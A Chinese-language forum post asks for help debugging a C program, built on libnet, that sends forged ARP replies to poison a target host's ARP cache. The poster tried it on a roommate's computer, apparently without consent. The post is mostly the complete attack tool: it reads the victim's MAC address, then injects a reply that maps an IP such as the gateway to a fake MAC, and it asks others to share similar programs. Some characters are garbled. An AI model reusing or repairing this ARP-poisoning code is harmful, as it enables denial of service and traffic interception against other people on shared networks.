- 論壇徽章:
- 0
|
最近看了UNP第29章,想寫一個ARP欺騙的程序,寫成后拿舍友的電腦來試驗,結(jié)果舍友還能上網(wǎng),我自己倒不能上網(wǎng)了(我們宿舍四個人用一個路由器),這里把程序貼出來,請大家?guī)臀铱纯。如果大家之前有寫過這類程序,能在下面貼出來給我參考下是最好不過了。。多謝大家!
- #include <unp.h>
- #include <libnet.h>
- #include <net/if_arp.h>
- /*
- * argv[1]為欺騙目標(biāo)的IP地址,argv[2]為要修改目標(biāo)主機的ARP表項的IP地址
- * 有了欺騙目標(biāo)的IP地址后,通過訪問ARP緩存來獲得目標(biāo)主機的MAC地址
- * 這是因為目標(biāo)主機通常和我們在同一個網(wǎng)段,我們可以通過ping目標(biāo)主機來獲得目標(biāo)主機IP到目標(biāo)主機MAC地址的ARP表項
- * 舉個例子,當(dāng)輸入 “./arpcheat 192.168.1.100 192.168.1.1” 時,則把主機192.168.1.100的ARP表中的192.168.1.1
- * 對應(yīng)的MAC地址改成 a5:a5:a5:a5:a5:a5
- */
- libnet_t *pnet;
- libnet_ptag_t arptag;
- libnet_ptag_t ethtag;
- int main(int argc, char *argv[])
- {
- int fd;
- struct sockaddr_in *sin;
- struct arpreq arpreq;
- uint8_t mod[4], h_dest[6], h_mod[6], *ptr;
- char errbuf[LIBNET_ERRBUF_SIZE];
- if (argc != 3)
- err_quit("Usage: arpcheat <dest ip> <modified ip>");
- /* 通過訪問ARP緩存來獲得目標(biāo)主機的MAC地址 */
- bzero(&arpreq, sizeof(struct arpreq));
- sin = (struct sockaddr_in *) &arpreq.arp_pa;
- sin->sin_family = AF_INET;
- Inet_pton(AF_INET, argv[1], &sin->sin_addr);
- fd = Socket(AF_INET, SOCK_DGRAM, 0);
- strcpy(arpreq.arp_dev, "wlan0");
- Ioctl(fd, SIOCGARP, &arpreq);
- /*
- * mod中存放修改主機的IP,h_dest中存放目標(biāo)主機的MAC地址
- * h_mod中存入 a5:a5:a5:a5:a5:a5
- */
- Inet_pton(AF_INET, argv[2], mod);
- memcpy(h_dest, &arpreq.arp_ha.sa_data[0], 6);
- memset(h_mod, 0xa5, 6);
- /* 初始化libnet */
- pnet = libnet_init(LIBNET_LINK_ADV, "wlan0", errbuf);
- if (pnet == NULL)
- err_quit("Can't initialize libnet: %s", errbuf);
- /* 構(gòu)造ARP報文 */
- arptag = libnet_build_arp(
- 1, /* 以太網(wǎng)地址類型 */
- 0x0800, /* IP地址類型 */
- 6, /* 以太網(wǎng)地址長度 */
- 4, /* IP地址長度 */
- ARPOP_REPLY, /* ARP響應(yīng) */
- h_mod, /* 發(fā)送主機的MAC地址,這里是 a5:a5:a5:a5:a5:a5 */
- mod, /* 發(fā)送主機的IP地址 */
- h_dest, /* 目標(biāo)主機的MAC地址 */
- (uint8_t *) &sin->sin_addr, /* 目標(biāo)主機的IP地址 */
- NULL,
- 0,
- pnet,
- 0);
- if (arptag == -1)
- err_quit("arptag error");
- /* 構(gòu)造以太網(wǎng)頭部 */
- ethtag = libnet_build_ethernet(
- h_dest, /* 目標(biāo)主機的MAC地址 */
- h_mod, /* 發(fā)送主機的MAC地址 */
- 0x0806, /* 以太網(wǎng)幀類型,這里是ARP */
- NULL,
- 0,
- pnet,
- 0);
- if (ethtag == -1)
- err_quit("ethtag error");
-
- /* 寫出以太網(wǎng)幀 */
- if (libnet_write(pnet) < 0)
- printf("lost packet\n");
-
- libnet_destroy(pnet);
-
- return 0;
- }
復(fù)制代碼 |
|